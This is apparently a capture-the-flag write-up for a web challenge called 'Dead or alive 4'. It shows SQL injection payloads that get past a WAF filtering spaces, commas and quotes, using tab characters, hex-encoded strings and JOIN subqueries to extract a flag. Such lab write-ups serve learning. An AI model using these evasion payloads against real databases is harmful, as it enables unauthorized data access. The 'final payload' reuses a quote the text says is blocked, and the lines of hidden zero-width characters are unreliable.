← Back to Writeups
CUSTOMEasyWeb

Dead or alive 4

XESXOR9/10/20261 min read
#web#custom#easy#hex_encoding_bypass#join_comma_bypass#tab_space_bypass

Dead or alive 4

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Easy | OS: N/A | **Author: XESXOR Techniques: hex_encoding_bypass, join_comma_bypass, tab_space_bypass

Summary

Walkthrough of the CUSTOM Web Dead or alive 4. Task: SQL injection with WAF filtering spaces, commas, and quotes. Solution: Bypass using TAB character (%09) for spaces, hex encoding (0x...) for quotes, and JOIN subqueries for commas.

Description

SQL injection bypass challenge. URL: http://kslweb1.spb.ctf.su/sqli/bypass4/

Multiple characters are filtered by WAF: space, comma, and quote characters.

Analysis

When attempting standard SQL injection, the request is blocked by WAF. Analysis showed the following characters are filtered:

  • Spaces ( )
  • Commas (,)
  • Quotes (' and ")

Solution

1. Space bypass via TAB

Instead of space, use the TAB character %09:

SELECT%09*%09FROM%09users

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

2. Quote bypass via hex encoding

Instead of quoted strings, use hex representation:

sql
-- Instead of: WHERE name = 'admin'
-- Use: WHERE name = 0x61646d696e

3. Comma bypass via JOIN

Instead of UNION SELECT 1,2,3 use:

sql
UNION%09SELECT%09*%09FROM%09(SELECT%091)a%09JOIN%09(SELECT%092)b%09JOIN%09(SELECT%093)c

Final payload

' OR 1=1--  →  %27%09OR%091=1--

Or for UNION injection:

UNION%09SELECT%09*%09FROM%09(SELECT%091)a%09JOIN%09(SELECT%09flag%09FROM%09secret_table)b

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key Takeaways / Lessons

  • Mastering hex_encoding_bypass, join_comma_bypass, tab_space_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-03-09 • CUSTOM • Dead or alive 4 • Difficulty: Easy